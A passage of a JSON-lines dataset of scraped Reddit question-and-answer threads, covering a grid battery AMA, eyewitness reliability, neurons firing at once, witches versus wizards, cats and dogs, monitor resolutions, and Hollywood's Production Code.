2, 6, 15, 2, 3, 2, 5, 2, 2, 2, 5, 3, 2, 2, 3, 2, 3, 2, 2, 2], "text": ["Hi George, thanks for the AMA! I have been in battery research for almost 10 years, and my pet projects have been in solid state batteries. JCESR has never been super active in this field, as far as I know. Is there a specific reason for this? Do you think we will see this technology in widespread use within the next 5/10 years? ", "Hi thanks for doing this!\n\nSo to the layman ion the outside of the field it seems like a ton of money/research is being poured into the field with no \"breakthrough\" results occurring. Why is the growth (seem) so small and incremental? do you feel like there is something intrinsically hindering to the way we approach batteries now ?", "What is/was the limiting factor why the battery technology has \"lagged\" behind?", "Hi there, I'm an EE student heavily interested in renewables and sustainability.\n\nI've been wondering, what have the largest obstacles (physical or bureaucratic) been to overcome in creating a more efficient battery? Also, how has progress in your field been in comparison to other fields of sustainability, roughly?\n\nYour time is very much appreciated!", "Hey George, thank you for your time. As a materials engineer in training, I have been told countless times that our lithium supply will run out quickly, and so making electric cars and transportation batteries out of the stuff will only be economical for a short time. Are there other battery chemistries that are more promising in your opinion, and what is our hurdle to making them more common?", "What waste are you eventually generating (used batteries; residues from construction/operation/recycling processes, etc) ?  \nWhat is the life cycle EROEI?", "Hello and thank you for doing this!  \n\nI will be graduating with my EE degree in a few months with a focus on Power  &  Energy systems, and from my experience and what I've learned from my professors, one of the biggest problems with energy storage is the high difficulty in scaling up.  What is your team's main approach in making a system that can scale up to the grid level?  \n\nFor example, is it unrealistic to have a small town that can run solely on a solar power plant where batteries are charged from the plant in the daytime from excess power generation and then are used in the nighttime hours?", "Hi, and thanks for the AMA!\n\nCould you expand about your work on grid development? What aspects of the grid are you looking at, what progress had been made, and what should we expect to see coming down the line?", "Hey George and thank you for doing this AMA!\n\nWhat are your thoughts on Tesla's gigantic battery factories? Will this be a game changer?", "Hi George. Thanks for this AMA! \n\nI work for a company that designs products for off grid use and one of the problems that inherently causes inefficiency is the conversion of one type of electrical power to another. Storing grid power (AC) in to batteries (DC) and then converting back for actual use often loses us 30% of the delivered energy, so we get excited about products that can go straight off DC and when we design our solar and battery systems to run at a system voltage native to that particular device, the experience is leaps and bounds better. Getting a 30% increase in storage technology is one way, but having the right platform could give great gains too. \n\nAnyway, my question is, do you see any opportunity for a standardized DC platform and, dare I say, grid any time in the future? If so, where do we look? If not, how can we make that happen? Or is it a trivial gain for too big of a barrier? ", "Hi George, for grid application will all the energy be stored in these batteries or are there other technologies being developed to help with energy storage/release for slow/peak hours. Will different areas have different types of energy storage, such as molten salt energy storage in areas like California?", "Thank you for taking the time to answer questions; I have two. Do you see yttrium as being a better, more cost effective alternative to lithium? Is your company also taking into consideration the need for materials to be recyclable? ", "I would love to hear your thoughts on the potential of flywheels for peak-shaving and load balancing applications on a smarter grid. ", " > \"our mission is to deliver two prototypes [...] capable of delivering five times the energy density at one-fifth the cost of the commercial batteries available at our launch in 2012\n\nFor the sake of comparison, what are the energy density and cost of the \"reference\" batteries? From a quick glance, those numbers could vary quite significantly depending on what reference was chosen (although I might take a guess at Lithium Ion being chosen).\n\nAre there any specific areas of focus, such as improving current types of batteries (e.g. Li ion, alkaline batteries), or alternatively working on novel energy storage methods?", "Hi there! I work in the marijuana industry. The draw that each grow facility requires/uses is astronomical. With so many states legalizing or set to legalize, has the DOE accounted for the spikes this will cause? We've been experimenting with high output/low draw lights but that may not be enough to offset the strain this puts on grids. Has this issue ever come across the desks of folks who understand these things better than an amateur like me? Thanks!", "Hey guys, thanks for doing this! As an engineering student looking at flow batteries and other electrochemical storage systems - do you ever think there will be a system of comparable capacity to PHS?\n\nOr any in particular you feel will really advance the field in the next 10 years. I read a lot about magnetic storage as well as the potential of super capacitors.", "Hi George, thanks for your time. I'm wondering how far away you think we are from energy storage and going fully renewable. And do you think we could get there faster if it weren't for the politics of energy and fossil fuels?", "Good morning. I have three questions.\n\n1. I'm a 1st year PhD student in materials science who would like to work on tackling climate change. What research topics would you be looking into if you were in my place?\n\n2. What is your opinion on fuel cells vs batteries?\n\n3. Are you optimistic about mankind resolving the issue of climate change?\n\n", "Hi George,\n\nThanks for doing this AMA. Professor Sadoway gave a [Tedtalk](_URL_0_) almost 4 years ago. In this talk he described a battery that runs hot and uses commonly available natural resources. \n\nAccording to his claims, this innovation was the \"missing link\" to renewable energy. Where is this battery now? Was this a overhyped, still in development or too disruptive to release prematurely?\n\n", "Hey George, \n\nDo you have a perspective on home \"battery wall\" style storage? As much as I love electric cars, I don't see any utility for these unless you're trying to actually sever yourself from the grid. Net metering seems like a better idea if you have solar, and I can't imagine the difference between peak and off peak prices would ever return your investment otherwise. \n\nThanks! ", "1.  What is the biggest new development coming in the next 10 years for automotive batteries?  I have heard that silicon anodes and Li-S chemistry are very far off.\n\n2.  What is the biggest barrier (specifically) that batteries face to increasing energy density?", "As energy density increases, the possibility of a highly energetic discharge becomes more devastating to cope with.  Part of the fallout from newer, higher density forms of energy storage lead to shipping restrictions due to the hazards.  How is the JCESR looking at the safety of such small, energy dense items?  Is anyone looking at creating, or is there currently a standard for how to safely create the casing for these new batteries or storage devices?", "As a Biosystems engineer I'm constantly looking for biological alternatives such as microbial or algal growth to generate power. Are you currently using or investigating any types of biological power generation?", "Some basic questions about the goals:\n\nI am not seeing the timeline for delivery compared to 2012. I wanted to compare the 5x density to Elon saying 5-8% increase per year (I thought he said a lower number, but found several articles claiming that high).\n\nI also wanted to ask what 'density' you are looking at. Is it energy per weight or energy per volume, or are they related?", "Hello Dr. Crabtree,\n\nI'm an engineer working in distributed energy generation.  We're chasing different models for making batteries cost effective but the \"Holy Grail\" is to be able to push photovoltaic DC straight into a charge controller, into a battery, and then have it come out of an inverter on demand - cost effectively (i.e. at or below grid rates.)  Right now, utility scale coupled solar / battery systems seem too expensive to make that model pan out.\n\nObviously there are a bunch of different things in that mix - but what is (are) the key research area(s) that need to be focused on in batteries to make that work?", "Hey George,\n\nWhen do you foresee ESS being actually cost-effective on large scale solar projects? I know you've said the price has dropped 5x but I still haven't seen a solution that makes sense financially.\n\nI manage solar projects 5MW to 200MW and am extremely interested in energy storage. It's all the talk of the future of renewables. Whoever can make ESS cost effective first is going to make A LOT of money.", "Grid-tied energy storage is a kind of arbitrage in time.  I've examined the economics in detail, and I just don't see any way for batteries to be economical across the 24-hour day/night cycle right now.  However, they could already be economical for primary frequency reserve and in the 15-min spot market, depending on local volatility.\n\nTesla is starting to sell battery packs directly to homeowners, but residential customers don't normally have access to the frequency support and spot markets for power.  Is there anything DOE and FERC can do here?  ", "Many of the energy critical materials used for clean energy generation and storage are toxic in smallish doses (50 - 500 mg/kg for acute exposure depending on the material) and the mining and extraction processes generate their share of hazardous byproducts.  In your research and development, what steps are being taken to ensure that we aren't simply trading one potential environmental disaster for another?  ", "How does $30/bbl of oil change the development of alternative energy storage technology?", "Recently here in Nevada the Public Utilities Commission that drastically increased the fees for solar customers to be connected to the grid while drastically reducing the competition the utility company has to give for the electricity they add to the grid.  Only recently has the utility company proposed a \"grandfathered in\" clause for the people who have already invested thousands in solar panels.\n\nMy question is do you see this type of legislation a major threat to what you are trying to accomplish?", "Hi George, thanks for doing this AMA. \n\nI'm an undergrad EE student, I saw Donald Sadoway's [TED talk](_URL_0_) on his molten salt battery tech and the company he set up to get it to market. During the talk he mentions \"science in service to society\", which is a sentiment that really struck me. I'm trying to figure out my options post-graduation at the moment and going down the route of solving the grid-level energy storage problem to help the growth of renewables is something I'm really interested in. \n\nWhat advice would you give to someone like me who wants to pursue a career in your field and make a difference to the world? ", "Are there alternatives to fossil fuels on the horizon for planes and large cargo container ships?", "Why not just run heavy loads up hills [ with electric motors ] when there's surplus grid capacity, and run them down [ in generator mode ] when load demand is high?\n\nI know that Edison-style Nickel-Iron batteries are not the most efficient, but are there any newer technologies that are as durable?\n\nThank you for your time.", "Hi George,\n\nThanks for doing this AmA! I am a researcher on the computer science side of smart grids and renewable integration, and batteries offer a lot of potential for scenarios such as source shifting and peak power reduction.\n\nI focus mostly on the monetary cost of batteries, and I tend to overlook the actual environmental cost of batteries (mining, heavy meals, manufacturing waste, etc.). Can you offer any insight into this side of battery costs?\n\nWe have worked with second life Prius batteries and Lithium iron phosphate (LFP), which gives me hope for both recycling and less-destructive manufacturing, respectively, but in the end, how cleanly can grid-scale energy storage be manufactured?", "Hey George. Thanks for doing an AMA. In your opinion, where do graphene capacitors stack up as possible energy storage mechanisms?  What are the limitations (technical, economical, practical, etc) and advantaged you see with that sort of technology?  What about for fly wheels? ", "Hi George, it's been fun reading this AMA.  Thanks for taking the time to answer questions.\n\nI have invented a rotory valve that turns two double acting pistons into a powerful motor that operates on pressurized air or fluid. I have been focusing on compressed air transportation research, but believe that this new motor design would be ideal for pumped hydro storage, as it could serve as both the pump and the turbine. It also can be made to any scale, at a low cost, making compressed air grid energy storage affordable. I have sent several messages to the DOE, but in reply have only been advised to search the funding opportunities. I have come to the realization that the technologies I am presenting are not being funded, and there is no opportunity to present a new idea unless it meets the criteria of a funding opportunity. I can only guess that since the funding allocation is predetermined that there are many people who's new innovations are being ignored by the DOE.\n\nMy question is: Is the DOE's current grant system able to support new emerging technologies that don't match a current funding opportunity?"]}, "title_urls": [], "selftext_urls": ["http://www.jcesr.org/directors-message/", "http://www.jcesr.org/", "http://www.nature.com/nature/journal/v526/n7575_supp/full/526S92a.html", "https://www.flickr.com/photos/argonne/24571205142/in/dateposted/"], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.ted.com/talks/donald_sadoway_the_missing_link_to_renewable_energy?language=en"], [], [], [], [], [], [], [], [], [], [], [], ["https://youtu.be/Sddb0Khx0yA"], [], [], [], [], []]}
{"q_id": "cdv45i", "title": "if our memory of a specific event changes everytime we try to recall it, why are eyewitness testimonies still so important?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cdv45i/eli5_if_our_memory_of_a_specific_event_changes/", "answers": {"a_id": ["etwiui1", "etwl2ca", "etwp0he", "etwroxr", "etwxsom", "etwyvxv", "etwz4np", "etx0kkz", "etx379c", "etx37sk", "etxif6d"], "score": [28, 280, 14, 5, 5, 2, 9, 3, 2, 2, 2], "text": ["They aren't, but sometimes you have to go with what you have got and if all the evidence of a robbery are eyewitnesses you have to use them even if they might not be that accurate.", "Multiple eyewitnesses who corroborate the story independently are a more trusted source. While any individual can be misremembering, it's far less likely that more than one person is misremembering the same thing.", "My father the attorney hated eyewitnesses, as they were so unreliable.\n\nPeople dismiss \"circumstantial evidence\" but that means anything other than an eyewitness. And, according to him, it usually resulted in a stronger case.", "Another reason is that eyewitnesses are the easiest kind of evidence to tamper with. Prison in the US is likely filled with black men convicted on just eyewitness testimony, and didn't do anything. But a white woman in the 90s said it was them, so they went to jail. \n\nPolice for a long time would heavily influence eyewitnesses, often making them believe they saw a suspect when they didn't.", "Memories do change over time and the small details get lost and replaced, but it's still something and it's still mostly reliable, especially for big-picture stuff.\n\nThe protection built in against inaccurate memories (and lying witnesses) is the Sixth Amendment. A party has a right to confront the witnesses called against them and, through cross examination and other evidence (including other witnesses), can demonstrate that a specific witness is unreliable.", "The short answer: we're stupid.\n\nIndividual eyewitness testimony is horrendously unreliable.  That doesn't mean it's always wrong, just that we can't trust it for accuracy either way at all.\n\nMultiple corroborating testimonies are better but still bad.  There's at least one case I know if that had something like 12 witnesses that all pinned it on the same guy, then DNA proved conclusively it wasn't him.", "Eyewitness testimony is the #1 cause of wrongful convictions.  Eyewitness testimony is information to consider, but it really should never be enough on its' own to convict someone of a crime beyond a reasonable doubt.  It's the most inaccurate, biased, and outright mistaken information that exists.", "If you have time, Malcolm Gladwell has a great episode of Revisionist History that focuses on understanding how memory works and how easily it can be influenced called Free Brian Williams. I put the link on iTunes below, if you have an Android though I think they\u2019re on Spotify maybe?\n_URL_0_", "If you are interested in some research on this topic, I recommend the work of John Wixted at UCSD.  There is a lot of criticism of eyewitness testimony as unreliable.  However, Dr. Wixted shows that eyewitness testimony is reliable so long as it is not tainted.  Similar to a DNA test, eyewitness testimony needs to be treated with specific protocols to avoid introduction of bad information.  It is the introduction of bad information by using biased protocols that leads to eyewitness testimony being unreliable.  \n\n & #x200B;\n\n [_URL_0_](_URL_0_)", "A problem that a lot of people have when trying to understand how evidence works is that they think in very black and white terms: you either remember something \"right\" or \"wrong,\" you either \"prove\" something or you \"disprove\" it, testimony is either \"true\" or \"false.\"  In this case, testimony or memory is either \"reliable\" or \"unreliable.\"\n\nSometimes those distinctions are fair.  But the vast majority of time, in my experience, the actual evidentiary questions are much narrower and more nuanced.\n\nLet's say there was a shooting.  And eyewitness testimony is important as to the identity of the shooter.  I think that a lot of people think about it like, \"well, there was one witness, that one witness said it was u/_Maxochism_, and they were convicted.  So based on just one eyewitness, a person goes to jail even though memory is unreliable?  What the fuck?!?!\"\n\nIn reality, though, the likelihood is that the vast majority of the facts are established or corroborated by lots of other evidence, and the eyewitness testimony is only important for pinning down very important, but narrower, pieces of it.  And the question of how reliable the eyewitness testimony gets narrowed down to the question *what do we need from this witness, and is their memory reliable about THAT*?\n\nSo, like, in our hypothetical shooting: somebody was shot, in a particular place, and there's lots of physical evidence of that.  There are forensics about what kind of gun was used, the gun either was or wasn't located, it either was or wasn't in the possession of u/_Maxochism_ at some point.  There either was or wasn't a connection between the dead person and u/_Maxochism_.  They either have some explanation about where they were at the time, or why, or they don't.  And now there's an eyewitness who is saying they saw what they saw.  Depending on what the other evidence says, all you might really need the witness to speak to is, like \"I was walking to my car after I left the restaurant [there's receipts for that] and I saw a dude in a red jacket arguing with a dude in a t-shirt, and then this then that and then the guy in the red jacket shot the other guy twice.\"  And my point is here that you can accept that the witness may have a skewed idea of how long this took, or what time it happened, or how much they saw and heard, or whatever little details, but they probably aren't misremembering that they saw two people arguing and then one of them *shooting the other*.  They're probably pretty clear about whether they saw that or not.\n\nSo I think it's absolutely true that the unreliability of eyewitness testimony and memory is important to the whole process.  But it gets tested on cross-examination and by rebuttal, etc.  And there has to be a sort of sliding scale of how we look at this -- how important is it that the memory be how specifically accurate?  And in most cases, you're not just relying on one person's specific memory of something they experienced, with very important minute details being critical evidence.  Because if all you have is one witness, and the details required are incredibly specific, sure, you aren't proving anything with that.  But I think people tend to overlook just how much evidence comes from other sources.", "Because you can always coax context out of a witness. If they able to remember the exact detail of what someone was wearing, what they said, the amount of the bill, etc, they are probably a reliable source for the events.\n\nOn the other hand, if someone is certain about the facts relevant to their case, but can't remember anything else about the day or go into any further details without getting hazy, then their testimony might not be as reliable. \n\nThis is just an example. The point is that things aren't really ever cut and dry like you see on TV. Witness testimony is a good tool because it is something you can always ask and dog deeper on until you're confident in the answer"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], ["https://podcasts.apple.com/us/podcast/revisionist-history/id1119389968?i=1000413184954"], ["https://journals.sagepub.com/doi/pdf/10.1177/1745691617734878"], [], []]}
{"q_id": "1drmht", "title": "What would happen if every neuron in the brain fired at once?", "selftext": "Would it cook the brain? What would the person experience? Would it kill them?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1drmht/what_would_happen_if_every_neuron_in_the_brain/", "answers": {"a_id": ["c9t7aqc", "c9tbcm4", "c9teti1"], "score": [3, 3, 4], "text": ["Person with epilepsy here. A firing pattern like that would not be consistent with normal thought processes, so it is unlikely that the person would remember any experience while that was happening.", "This would most likely induced a [generalised tonic-clonic seizure.](_URL_0_). The individual would have no memory of the event. If prolonged, for say over 30 minutes, it could certainly cause brain damage, and potentially death.", "I am going to disagree with the others. I think that as most circuits in the brain are slightly more loaded with inhibition than excitation in connectivity, if every neuron fired at once, then shortly thereafter most of the brain would become fairly quiet. After that, emergence of epileptic patterns would be a real concern. Definitely the person would have no recall of the event. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Tonic-clonic_seizures"], []]}
{"q_id": "2s2eqq", "title": "why are witches usually regarded as being evil while wizards are more generally portrayed as good?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2s2eqq/eli5why_are_witches_usually_regarded_as_being/", "answers": {"a_id": ["cnlifpf", "cnlivm9", "cnlj2vd", "cnljnxa", "cnlk52m", "cnlkoqt", "cnllr4y", "cnlmfhz", "cnlnz08", "cnlozda", "cnlprzo", "cnlr626", "cnlsmsx", "cnlughg", "cnlvhvu", "cnlyj3o", "cnlzt7h", "cnm3f7a"], "score": [281, 11, 99, 4, 6, 2, 9, 5, 9, 2, 2, 8, 3, 2, 2, 3, 2, 2], "text": ["Wizards, in most lore, get their powers from studying and schooling where they learn the \"science\" behind their magic. They tend to be more on the \"good\" and responsible side of magic.\n\nWitches/Warlocks are given supernatural abilities, usually from something evil (demon, devil, whatever) - they tend to be on the \"personal gain\" and \"evil\" side of magic.\n\nSorcerers are born with supernatural abilities and can go either good or evil and can hone their skills through training. Think Elsa from Frozen.", "Because wizards/wizardesses are defined as practicing 'magic', and Witches/warlocks are defined as practicing 'witchcraft' \n\nWitchcraft has 'evil' or 'dark' connotations, and is sepcificaly used to mean the dark aspects of magic, whereas 'magic' alone, when used without qualifications like black/white, has mostly positive connotations. (hence adjectives like 'magical' being used for places like Disneyland). \n\n\n > Witch - noun: A woman who practices witchcraft. \n\n#\n\n >  warlock - noun: A man who practices witchcraft. \n\n\n#\n\n >  witchcraft - noun - the practice of magic, especially black magic. \n\n#\n\n >  wizard - noun: (in legends and fairy tales) a man who practices magic\n\n#\n\n >  magic - noun:the power of apparently influencing events by using mysterious or supernatural forces.\n", "Other posts seem to want to argue much about the distinction between a *witch* and a *warlock*, or something else, but I think that's kind of missing out on what the OP really means to be asking and learning about. I shall attempt my answer without such grasping at straws.\n\nIn medieval times the association of Satanism with *witch*-craft, as in concerning magic as practiced by women, was stronger, and hence the association of witches with evil begun. As such, you had the infamous Spanish Inquisition or in slightly more modern times, the Salem Witch Trials. While it was not impossible for men to be tried as Satanists, \"witches\" as well, the mythology and lore regarding the female witch was more pervasive. Coupled with less-egalitarian attitudes regarding women in general, the recipe for the evil female witch was more notorious and commonly claimed to be witnessed - for instance, single mothers with babies born out of wedlock are thought of as witches and the babies the Devil's spawn; men wouldn't have that sort of problem. Another example - broomsticks, cauldrons associated with witchcraft, are all tools born out of feminine activities such as cleaning and cooking, and men of yesteryear simply did not perform such duties to lend themselves to being targets of folklore.\n\nSexism reasons aside, men who were thought to practice magic, on the other hand, would be thought of as being more associated with pagan and historic traditions of priests and Druids (a caste which is believed to have limited membership only to males), rather than being included in more recent religious \"innovations\" such as Satanism and devil worship. Sure, being pagan and Celtic was bad too, to a hardline Christian, but among commoners for whom a degree of syncretism would be common (as observed in its most extreme forms today with Latin American Catholicism), this wouldn't be seen to be *evil* in the same light; sometimes it might just be ignored, or even be welcomed (think about how 'alternative medicine' exists today, for those who desire to seek their answers in faith where medical science fails - that would be the modern equivalent of those who seek the healing of Druids when Christian prayer fails them... But you wouldn't likewise seek the counsel of a *witch* when prayer fails because that's more than just being 'alternative'; that's downright self-destructive and contradictory).\n\nThis sort of gender-based association with \"different traditions of magic\" therefore lends to the interpretation of classical \"witches\" being evil and \"wizards\" being good, and carries onto today with Western culture as taught conventionally. It might even account for the image you have in your head right now of the witch having that sharp nose, ugly face and black robes with a cackling laughter, whereas the wizard is some wizened gentle old man with a long beard instead.", "I don't believe the Bible mentions wizards but it clearly identifies witchcraft with \"bad\". On a side note, I remember being very amused when one of those \"Christian Family\" organizations gave family ratings to three movies in the early 2000's: \n\n\n- LOTR, wizards but pretty much no witches, rated good clean family entertainment. \n\n\n- The first Narnia movie, no wizards but an evil witch, rated good clean family entertainment (based, of course, on a well-known Christian author's work).\n\n\n- Harry Potter, good and bad wizards and witches, watch this movie and you'll go straight to hell.", "Warlocks are the male-counterpart to witches, not wizards.", "Because there is a word for a Male witch. It is Warlock.", "In folklore terms, witches are women with unnatural knowledge, i.e. midwives and nurses etc. They could leverage that knowledge on a social level, and were often portrayed as vindictive because their power was seen as competing with the automatically higher social status of males. Examples of this include the fairy midwife in Shakespeare's Romeo and Juliet.", "Because women are not supposed to wield power, but men are.", "**Why are witches viewed as evil?**\n\nThe word Witch comes from an old germanic word Wicce. While it's not known precisely how Wicce was used (primarily because the germanic tribes weren't very well known for keeping good records) it is generally accepted that the term probably meant something like \"Wise man or Wise woman\". The reason why witches are viewed as evil is because most of our cultural heritage comes from the Roman empire and they were terrified of the Germanic tribes so it's not a big leap to assume that they probably vilified their culture and religion so Wicce probably began to refer to evil magic casters. When Christianity spread it focused heavily on stamping out Pagan religions and so Witches became associated with Pagan traditions (halloween being Pagan in nature). Given that Christianity was also intent on vilifying witches and their religion they would say that Witches had consorted with Demons or the Devil in order to attain their alleged mystical powers and that they were intent on the destruction of poor innocent god-fearing people of the village. At this point Witches were cemented as evil wielders of dark and demonic magic and this representation has survived into the modern day. Why are they women? I don't think we really know. Originally there were two different words (Wicce for female and Wicca for male) for witches to denote male and female but the male term became supplanted by words like Wizard (more on this later) and Sorcerer so Witches eventually were associated almost exclusively with Women.\n\n**Why are Wizard's good?**\n\nWizard is actually a much more recent word than Witch. Wizard originally was just a term for a wise person (similarly to how we would use the term philosopher) and it didn't come around until about the 15th century so by that point the Church wasn't terribly concerned with vilifying them so the term Wizard managed to avoid a lot of the negative connotations that plagued the term Witch. Wizard also wasn't really associated with Pagan traditions so it is still much closer to its original definition of Wise Person (we always think of Wizards as old men in libraries with white beards). Wizard was used in its early years to describe any educated or scientific man since the Dark Ages didn't make much of a distinction between Science and Magic so there are quite a few reasons why Wizard would have a much more positive overall public image compared to Witch. Why are Wizard's men? Wizard is actually a unisex term (Wys meaning Wise + ard) but it became mainly associated with men over the years most likely because for the most part only men were really highly educated at that time.\n\n\nAs for why we still view witches as evil in modern pop culture? That is because according to the lore Witches derive their power from demonic or evil forces and Wizards derive their power from knowledge.", "I think Wizards were never supposed to be the male counterpart for Witches. Warlocks are considered evil, and they are male, so I would assume Witches/Warlocks were supposed to be the evil ones, and Wizards were good and both genders", "Because wizards are good, warlocks are the evil opposite.", "Lots of long winded answers here. The bottom line is that the stories are written by men. Women are temptresses and need to be feared. It's all male ego.", "Some people would argue that witchcraft was labelled as a bad thing because it descended from pagan practices the story-writer was trying to snub, but I don't know enough to run on that track either way.\n\nAnyway, leaving out that, fantasy/rpg tropes, (and that, by *any* modern standard, the time period that witch/wizard stories came from was sexist as hell)' wizard was usually considered as a \"court\" wizard- like Merlin in Arthurian legend.\n\nFor contrast,  a witch was usually either a peasant or otherwise acting on her own (a woman who was both noble and using powers in one of these stories would tend to be called a sorceress or enchantress, not a witch).\n\nIt has a lot to do with who the stories were written for- nobles had good, wise wizards working for them (see some of the Charlemagne tales!), and out among the peasantry, wicked witches could run amok at any time if things weren't kept in hand.\n\nAlso, see 'sexist as hell'.", "The word \"warlock\" is the evil wizard.\nWitch is simply a poisoner/destroyer.  Not sure if there IS a specific opposite in English because english liked to just kill any that weren't bible thumpers ~ see Salem ~\n\nWomen who weren't poisoners were usually just referred to as \"Healers\"\n", "The #1 main reason why witches are bad and wizards are good is because woman are often portrayed as evil, especially in older works of literature. ", "Witch \\ Warlock, not Witch \\ Wizard.  \nWizard is a term for both sexes.", "Witches/warlocks generally practice black magic, wizards don't.", "I think that it is provide an example of systemic misogyny."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "1kumuk", "title": "When did the idea of dogs and cats hating each other begin?", "selftext": "In my experience they're good friends at home. All animals are wary of strange and new animals at first but they can become friends.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1kumuk/when_did_the_idea_of_dogs_and_cats_hating_each/", "answers": {"a_id": ["cbss7op"], "score": [7], "text": ["I would perhaps suggest that your experience is not necessarily applicable.\n\nMany dogs have been bred and trained specifically to track, harry, and/or kill other animals. Even if an individual dog hasn't ever been trained to track and kill small mammals, dogs are still predators and often chase and kill other animals. Have your dogs ever chased squirrels? What do you think your dogs would do if they caught a squirrel?\n\nAdditionally, dogs and cats can both be quite territorial. Especially in rural areas where cats and large dogs are running loose on large plots of land, these territorial instincts can be the cause of fights and deaths. My dad grew up in the rural Canadian prairies, and some dogs in the area were known as serial cat-killers. These dogs never left their farms, but the combination of free-running pet cats and a local feral cat population ensured that dog-cat contact was unavoidable.\n\nI know this wasn't a historical answer and mods please delete this if it isn't up to scratch, but I think the phrasing of OP's question is asking not only for historical sources, but also why dogs and cats aren't always friends, and I've tried to answer that second part. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4vmy9i", "title": "who ended up deciding the standard monitor resolutions and what's the origin?", "selftext": "One thing I've noticed is that most of them, mathematically make sense, since they're all multipliers of 8. I'll give you some examples.\n\n8 * 96 = **768**\n\n8 * 160 = **1.280**\n\n8 * 180 = **1.440**\n\n8 * 200 = **1.600**\n\n8 * 240 = **1.920**\n\n8 * 320 = **2.560**\n\n8 * 480 = **3.840**\n\nWhy the 8 as a multiplier, you ask.\n**One byte = 8 bits**.\n\nDon't ask me why, but it seems to be related.\n\n\nYes, there's some that don't follow the rule. \n\nFor example, 8 * 170.75 = 1366.\nThe reason for it, I think, is because they came up with this one while trying to turn the classic 1024*768 into 16:9. So, (768 / 9) * 16 = 1365.333 and they rounded it (above, to be a pair number, I'd say).\nSo the (laptop) resolution was born: 1366 x 768.\n\n\nThis may just be a coincidence and that's what I want to know. What truly is the origin of all these sizes and who decided them?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4vmy9i/eli5who_ended_up_deciding_the_standard_monitor/", "answers": {"a_id": ["d5zp7kl", "d60k6cj"], "score": [37, 3], "text": ["Back in the olden days a standard screen was big enough to display 80 characters across and 60 vertically (for a 4:3 aspect ratio) and each character was 8 pixels wide and 8 pixels tall. Thus the overall resolution was 640x480. There were smaller ones before but this was considered a universal standard by that point. From there every resolution was a multiple of 8 more pixels. This standard comes from IBM who were *the* powerhouse in personal computing at the time.\n\nThe reason 8x8 was chosen for a character size is so that in an 8x8 grid you can address both the vertical and horizontal using only one byte for each. In fact, if you tried to make it lower, such as 7x7 you would still need one byte for each since a byte is the smallest addressable unit in a computer. The vast majority do not support addressing the individual bits and to do so would require another more complex hardware. Thus 8x8 is the most efficient and 16x16 is too big.\n\nSo more or less you are correct. ", "I found this neat video explaining Film ratio. I thought it was pretty cool. _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=3CgrMsjGk7k"]]}
{"q_id": "amo9k5", "title": "In the film 'Hail, Caesar!' (2016), there is one scene in which a Protestant, a Catholic and an Orthodox priest and a Jewish rabbi are consulted about the titular film-within-a-film's depiction of Jesus. How far did film studios in the 50s actually try to avoid offending religious sensibilities?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/amo9k5/in_the_film_hail_caesar_2016_there_is_one_scene/", "answers": {"a_id": ["efnx0mq", "efomwtm", "efq3o6c"], "score": [128, 336, 21], "text": ["Can a reddit historian explain why this question keeps being asked and why reddit allows it? For instance can reddit algorithms not detect duplicate posts? \n\nPlus why do people keep up voting? And is this considered karma farming? ", "While the scene in *Hail, Caesar* is an exaggeration, the American film industry did go to some lengths not to offend religious sensibilities, though the best example of this is in the Motion Picture Production Code.\n\nDuring the 1920s, as Hollywood was increasingly seen as immoral and hedonistic (both as the result of film content and the numerous tabloid scandals that plagued Hollywood during this time), there were many, many attempts throughout the country to censor motion pictures at the state and local level, which created increasing problems for studios that had to worry about different standards of decency in different states and municipalities, and this was strongly influenced by the many clergy across the country who were preaching against movies in their churches. New York created the first state censorship board in 1921, and several other states soon followed suit (and there were many more at the local level). The even bigger problem, however, was fear that the federal government might step in and institute a nationwide system of censorship. One might presume that the First Amendment would preclude such a thing from happening, however a 1915 Supreme Court ruling (*Mutual Film Corporation v. Industrial Commission of Ohio*) declared that motion pictures were not, in fact, \"free speech\", a decision that would not be overturned until 1952 (the gist of it was that the court viewed motion pictures as an amusement, like a merry-go-round, rather than an art form or means of expression).\n\nSo in 1922, the studios hired former Postmaster General and Presbyterian Elder Will Hayes to clean up the film industry's image, and the choice was deliberate: at this time, Hollywood's two biggest concerns were fears of censorship by the federal government along with protests and boycotts by religious groups, so Will Hays's background was intended to address both of these. In 1927, Hayes recommended that the industry form their own censorship board to assure the public that the industry could police itself, and the studios produced The \"Don'ts\" and \"Be Carefuls\", a list of eleven subjects that were forbidden (the \"Don'ts\") and 26 more that must be handled with care and discretion (the \"Be Carefuls\"). And two of those forbidden topics included \"Ridicule of the Clergy\" and \"Willful offense to any nation, race, or creed\".\n\nUnfortunately, they did not have any means of enforcing these rules, so they were mostly just a PR move that did little to curtail calls for national censorship. So in 1929, a Jesuit Priest (Daniel Lord) and a Catholic (Martin Quigley) created a new set of rules and standards for motion picture content, which they submitted to the studios. After some tweaks by the studio heads, those rules were adopted in 1930 as [the Motion Picture Production Code](_URL_0_). It's a fascinating read, so I highly recommend that link.\n\nThe Code, in general, was largely ruled by religious standards of morality and decency. It had obvious things like \"Crimes...shall never be presented in such a way as to throw sympathy with the crime...or to inspire...imitation\", however much of it dealt with with prudish concerns about sex and obscenity -- it forbid \"scenes of passion\", \"sex perversion\", \"miscegenation\", \"obscenity in word, gesture, reference, song, joke, or by suggestion\", \"dances which emphasize indecent movements\", \"any lecherous or licentious notice\" of someone even suggested to be nude, and so on. However there was also an overt section dedicated specifically to religion:\n\n > **Religion**\n\n1. No film or episode may throw ridicule on any religious faith\n2. Ministers of religion in their character as such, should not be used as comic characters or as villains\n3. Ceremonies of any definite religion should be carefully 